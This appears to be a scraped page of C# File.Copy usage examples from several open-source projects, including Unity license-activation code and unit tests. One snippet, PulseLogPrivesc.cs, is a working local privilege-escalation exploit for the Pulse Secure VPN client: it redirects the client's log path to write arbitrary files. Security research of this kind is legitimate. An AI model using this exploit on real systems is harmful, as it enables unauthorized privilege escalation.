          var targetLicense = AGXUnity.IO.Environment.FindUniqueFilename( $"{LicenseDirectory}/{Path.GetFileName( sourceLicense )}" ).PrettyPath();
          if ( EditorUtility.DisplayDialog( "Copy AGX Dynamics license",
                                          $"Copy \"{sourceLicense}\" to \"{targetLicense}\"?",
                                          "Yes",
                                          "Cancel" ) ) {
            try {
              File.Copy( sourceLicense, targetLicense, false );
              StartUpdateLicenseInformation();
              GUIUtility.ExitGUI();
            }
            catch ( ExitGUIException ) {
              throw;
            }            
            catch ( System.Exception e ) {
              Debug.LogException( e );
            }
          }
        }
      }

      using ( InspectorGUI.IndentScope.Single ) {
        m_licenseActivateData.Id = EditorGUILayout.TextField( GUI.MakeLabel( "License Id" ),
                                                              m_licenseActivateData.Id,
                                                              InspectorEditor.Skin.TextField );
        if ( m_licenseActivateData.Id.Any( c => !char.IsDigit( c ) ) )
          m_licenseActivateData.Id = new string( m_licenseActivateData.Id.Where( c => char.IsDigit( c ) ).ToArray() );
        m_licenseActivateData.Preplacedword = EditorGUILayout.PreplacedwordField( GUI.MakeLabel( "Activation Code" ),
                                                                        m_licenseActivateData.Preplacedword );

        InspectorGUI.SelectFolder( GUI.MakeLabel( "License File Directory" ),
                                   LicenseDirectory,
                                   "License file directory",
                                   newDirectory =>
                                   {
                                     newDirectory = newDirectory.PrettyPath();

                                     if ( string.IsNullOrEmpty( newDirectory ) )
                                       newDirectory = "replacedets";

                                     if ( !Directory.Exists( newDirectory ) ) {
                                       Debug.LogWarning( $"Invalid license directory: {newDirectory} - directory doesn't exist." );
                                       return;
                                     }
                                     else if ( !IO.Utils.IsValidProjectFolder( newDirectory ) ) {
                                       Debug.LogWarning( $"Invalid license directory: {newDirectory} - directory has to be in the project." );
                                       return;
                                     }
                                     LicenseDirectory = newDirectory;
                                   } );

        using ( new GUI.EnabledBlock( UnityEngine.GUI.enabled &&
                                      m_licenseActivateData.Id.Length > 0 &&
                                      m_licenseActivateData.Preplacedword.Length > 0 ) ) {
          // It isn't possible to press this button during activation.
          if ( UnityEngine.GUI.Button( EditorGUI.IndentedRect( EditorGUILayout.GetControlRect() ),
                                       GUI.MakeLabel( AGXUnity.LicenseManager.IsBusy ?
                                                        "Activating..." :
                                                        "Activate" ),
                                                      InspectorEditor.Skin.Button ) ) {
            AGXUnity.LicenseManager.ActivateAsync( System.Convert.ToInt32( m_licenseActivateData.Id ),
                                                   m_licenseActivateData.Preplacedword,
                                                   LicenseDirectory,
                                                   success =>
                                                   {
                                                     if ( success )
                                                       m_licenseActivateData = IdPreplacedword.Empty();
                                                     else
                                                       Debug.LogError( "License Error: ".Color( Color.red ) + AGXUnity.LicenseManager.LicenseInfo.Status );

                                                     StartUpdateLicenseInformation();

                                                     UnityEngine.GUI.FocusControl( "" );
                                                   } );
          }
        }
      }
    }

19 Source : VMMapTests.cs
with GNU Lesser General Public License v3.0
from Alois-xx

[TestMethod]
        public void CanParseCSV()
        {
            VMMap map = new VMMap(100);
            string tempVMMapFile = "test.csv";
            File.Copy("Dumps\\VMMAP.csv", tempVMMapFile, true);
            replacedert.IsTrue(File.Exists(tempVMMapFile));
            VMMapData lret = map.ParseVMMapFile("test.csv", bDelete:true);
            replacedert.IsFalse(File.Exists(tempVMMapFile));
            replacedert.AreEqual(1024*586096, lret.Reserved_DllBytes);
            replacedert.AreEqual(1024*583724, lret.Committed_DllBytes);
            replacedert.AreEqual(1024*132224, lret.Reserved_ManagedHeapBytes);
            replacedert.AreEqual(1024*108200, lret.Committed_ManagedHeapBytes);
            replacedert.AreEqual(1024*87464, lret.Reserved_HeapBytes);
            replacedert.AreEqual(1024*72356, lret.Committed_HeapBytes);
            replacedert.AreEqual(1024*72124, lret.Reserved_MappedFileBytes);
            replacedert.AreEqual(1024*72124, lret.Committed_MappedFileBytes);
            replacedert.AreEqual(1024*26952, lret.Reserved_ShareableBytes);
            replacedert.AreEqual(1024*6396, lret.Committed_ShareableBytes);
            replacedert.AreEqual(1024*40704, lret.Reserved_Stack);
            replacedert.AreEqual(1024*4192, lret.Committed_Stack);
            replacedert.AreEqual(1024*91736, lret.Reserved_PrivateBytes);
            replacedert.AreEqual(1024*19220, lret.Committed_PrivateBytes);
            replacedert.AreEqual(1024*32368, lret.Reserved_PageTable);
            replacedert.AreEqual(1024*32368, lret.Committed_PageTable);
            replacedert.AreEqual(1024*2083712, lret.LargestFreeBlockBytes);
        }

19 Source : VMMapTests.cs
with GNU Lesser General Public License v3.0
from Alois-xx

[TestMethod]
        public void Can_Parse_ExistingFile_And_Do_Not_Delete_It_After_Parse()
        {
            string tempVMMapFile = "test.csv";
            File.Copy("Dumps\\VMMAP.csv", tempVMMapFile, true);

            VMMap map = new VMMap(tempVMMapFile);

            replacedert.IsTrue(File.Exists(tempVMMapFile));

            VMMapData lret = map.GetMappingData();

            replacedert.IsTrue(File.Exists(tempVMMapFile));

            File.Delete(tempVMMapFile);

            replacedert.AreEqual(true, lret.HasValues);
            replacedert.AreEqual(1024 * 2083712, lret.LargestFreeBlockBytes);
        }

19 Source : PulseLogPrivesc.cs
with Apache License 2.0
from AlmondOffSec

public static bool exploit(string outPath, string inPath, bool interactive = false, bool useMountPoint = true, bool restartKilledClient = false)
        {
            bool res = false;
            
            // safety checks
            if(outPath.Length + StreamName.Length + 1 > LogPathMaxLength)
            {
                Log("Output path too long");
                return false;
            }
            if(File.Exists(outPath))
            {
                Console.WriteLine("Output file " + outPath + " already exists!");
                return false;
            }
            if(inPath != null && !File.Exists(inPath))
            {
                Console.WriteLine("Input file " + inPath + " does not exist!");
                return false;
            }
            bool running = IsPulseClientRunning();
            if(running) {
                Log("Pulse Client is running.");
                Console.WriteLine("The client will be restarted. Existing VPN connexions (if any) will be reset!");
            } else {
                Log("Pulse Client is not running.");
            }
            string cmdLine = GetPulseCommandLine();
            Log("Pulse command line is: " + cmdLine);
            if(cmdLine == null)
            {
                Log("Could not get Pulse command line.");
                return false;
            }
            
            if(running && interactive) {
                Console.WriteLine("Press Enter to continue, or hit Ctrl+C to abort.");
                Console.ReadLine();
            }
            
            // Setup a temporary mount point to the target file's parent directory,
            // and replace outPath with a path that uses this junction.
            // (this is to avoid redirections, e.g. System32 vs. SysWOW64)
            string originalPath = outPath;
            if(useMountPoint)
            {
                if(!CreateMountPoint(originalPath, out outPath))
                {
                    Log("Could not create mount point.");
                    return false;
                }
            }
            
            // Replace the path in the shared section.
            // PS service & other processes will have a handle and may write to it after we're done,
            // so we use an alternate data stream, this way the default stream is stays available.
            string logPath = null;
            if(!ChangeLogPathInSection(outPath + StreamName, out logPath))
            {
                Log("Could not replace the log file path in the memory section.");
                return false;
            }
            Log("Replaced log path: " + logPath + " with: " + outPath + StreamName + " in section.");
            
            // If client if already running, kill it (and optionally restart it later)
            // If client is not running (or we're not able to kill it), start a new one and kill it
            Process process = null;
            if(running)
            {
                if(KillPulseClient())
                    Thread.Sleep(StopDelay);
                else {
                    Log("Could not kill the running pulse client, starting a new one.");
                    running = false;
                }
            }
            if(!running){
                if(StartProcess(cmdLine, PulseRunArg, out process))
                {
                    try {
                        Thread.Sleep(StartDelay);
                        Log("Stopping client...");
                        process.Kill();
                        Thread.Sleep(StopDelay);
                    } catch {
                        Log("Could not stop the client we started.");
                    }
                } else {
                        Log("Could not start client with command: " + cmdLine + " " + PulseRunArg);
                }
            }
            
            // Restore the previous path in the shared section.
            string prevPath = null;
            if(ChangeLogPathInSection(logPath, out prevPath))
                Log("Restored log path: " + logPath);
            else
                Log("Could not restore log path: " + logPath);
            
            // Start the client again if an existing one was killed.
            // Optional, as some versions have a splashscreen, so this is not always desirable.
            if(running && restartKilledClient)
                StartProcess(cmdLine, PulseRunArg, out process);
            
            // Cleanup temporary mount point
            if(useMountPoint)
            {
                if(!DeleteMountPoint(outPath))
                    Log("Could not delete mount point, you may have to cleanup.");
                outPath = originalPath;
            }
            
            // Check if target file exists
            res = File.Exists(outPath);
            if(res)
                Log("Target file created!");
            
            // Copy input file
            if(res && inPath != null) {
                Log("Copying input file...");
                try
                {
                    File.Copy(inPath, outPath, true);
                    Log("File copied.");
                } catch {
                    Log("File creation succeeded, but write failed.");
                }
            }
            
            return res;
        }

19 Source : TestDataUtil.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn

public static void PrepareInstance(string org, string app, int instanceOwnerId, Guid instanceGuid)
        {
            string instancePath = GetInstancePath(org, app, instanceOwnerId, instanceGuid);

            string preInstancePath = instancePath.Replace(".json", ".pretest.json");

            File.Copy(preInstancePath, instancePath, true);

            string dataPath = GetDataPath(org, app, instanceOwnerId, instanceGuid);

            if (Directory.Exists(dataPath))
            {
                foreach (string filePath in Directory.GetFiles(dataPath, "*.*", SearchOption.AllDirectories))
                {
                    if (filePath.Contains(".pretest.json"))
                    {
                        // Handling all data elements
                        File.Copy(filePath, filePath.Replace(".pretest.json", ".json"), true);
                    }
                    else if (filePath.EndsWith(".pretest"))
                    {
                        // Handling all data blobs
                        File.Copy(filePath, filePath.Replace(".pretest", string.Empty), true);
                    }
                }
            }
        }

19 Source : TestDataUtil.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn

public static void PrepareDataElement(string org, string app, int instanceOwnerId, Guid instanceGuid, Guid dataGuid)
        {
            string dataPath = GetDataPath(org, app, instanceOwnerId, instanceGuid);
            string dataElementPath = Path.Combine(dataPath, dataGuid.ToString() + ".pretest.json");

            if (File.Exists(dataElementPath))
            {
                File.Copy(dataElementPath, dataElementPath.Replace(".pretest.json", ".json"), true);
            }
        }

19 Source : DatamodelsControllerTests.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn

[Fact]
        public async Task Get_Put_Updatemodel_Ok()
        {
            string unitTestFolder = Path.GetDirectoryName(new Uri(typeof(DatamodelsControllerTests).replacedembly.Location).LocalPath);
            unitTestFolder = Path.Combine(unitTestFolder, @"..\..\..\_TestData\");
            if (File.Exists(unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/32578.schema.json"))
            {
                File.Delete(unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/32578.schema.json");
            }

            File.Copy(unitTestFolder + "Model/Xsd/schema_2978_1_forms_3478_32578.xsd", unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/32578.xsd", true);

            HttpClient client = GetTestClient();

            string dataPathWithData = $"{_versionPrefix}/ttd/ttd-datamodels/Datamodels/GetDatamodel?modelName=32578";

            HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Get, dataPathWithData);

            await AuthenticationUtil.AddAuthenticateAndAuthAndXsrFCookieToRequest(client, httpRequestMessage);

            HttpResponseMessage response = await client.SendAsync(httpRequestMessage);
            string responsestring = await response.Content.ReadreplacedtringAsync();
            TextReader textReader = new StringReader(responsestring);
            JsonValue jsonValue = await JsonValue.ParseAsync(textReader);
            JsonSchema jsonSchema = new JsonSerializer().Deserialize<JsonSchema>(jsonValue);

            dataPathWithData = $"{_versionPrefix}/ttd/ttd-datamodels/Datamodels/UpdateDatamodel?modelName=32578";

            var serializer = new JsonSerializer();
            JsonValue toar = serializer.Serialize(jsonSchema);

            string requestBody = toar.ToString();
            HttpRequestMessage httpRequestMessagePut = new HttpRequestMessage(HttpMethod.Put, dataPathWithData)
            {
                Content = new StringContent(requestBody, Encoding.UTF8, "application/json")
            };

            await AuthenticationUtil.AddAuthenticateAndAuthAndXsrFCookieToRequest(client, httpRequestMessagePut);
            HttpResponseMessage responsePut = await client.SendAsync(httpRequestMessagePut);
            replacedert.Equal(HttpStatusCode.OK, responsePut.StatusCode);
        }

19 Source : DatamodelsControllerTests.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn

[Fact]
        public async Task Get_Put_Updatemodel2_Ok()
        {
            string unitTestFolder = Path.GetDirectoryName(new Uri(typeof(DatamodelsControllerTests).replacedembly.Location).LocalPath);
            unitTestFolder = Path.Combine(unitTestFolder, @"..\..\..\_TestData\");
            if (File.Exists(unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/41111.schema.json"))
            {
                File.Delete(unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/41111.schema.json");
            }

            File.Copy(unitTestFolder + "Model/Xsd/schema_4581_100_forms_5245_41111.xsd", unitTestFolder + "Repositories/testuser/ttd/ttd-datamodels/App/models/41111.xsd", true);

            HttpClient client = GetTestClient();

            string dataPathWithData = $"{_versionPrefix}/ttd/ttd-datamodels/Datamodels/GetDatamodel?modelName=41111";

            HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Get, dataPathWithData);

            await AuthenticationUtil.AddAuthenticateAndAuthAndXsrFCookieToRequest(client, httpRequestMessage);

            HttpResponseMessage response = await client.SendAsync(httpRequestMessage);
            string responsestring = await response.Content.ReadreplacedtringAsync();
            TextReader textReader = new StringReader(responsestring);
            JsonValue jsonValue = await JsonValue.ParseAsync(textReader);
            JsonSchema jsonSchema = new JsonSerializer().Deserialize<JsonSchema>(jsonValue);

            dataPathWithData = $"{_versionPrefix}/ttd/ttd-datamodels/Datamodels/UpdateDatamodel?modelName=41111";

            var serializer = new JsonSerializer();
            JsonValue toar = serializer.Serialize(jsonSchema);

            string requestBody = toar.ToString();
            HttpRequestMessage httpRequestMessagePut = new HttpRequestMessage(HttpMethod.Put, dataPathWithData)
            {
                Content = new StringContent(requestBody, Encoding.UTF8, "application/json")
            };

            await AuthenticationUtil.AddAuthenticateAndAuthAndXsrFCookieToRequest(client, httpRequestMessagePut);
            HttpResponseMessage responsePut = await client.SendAsync(httpRequestMessagePut);
            replacedert.Equal(HttpStatusCode.OK, responsePut.StatusCode);
        }

See More Examples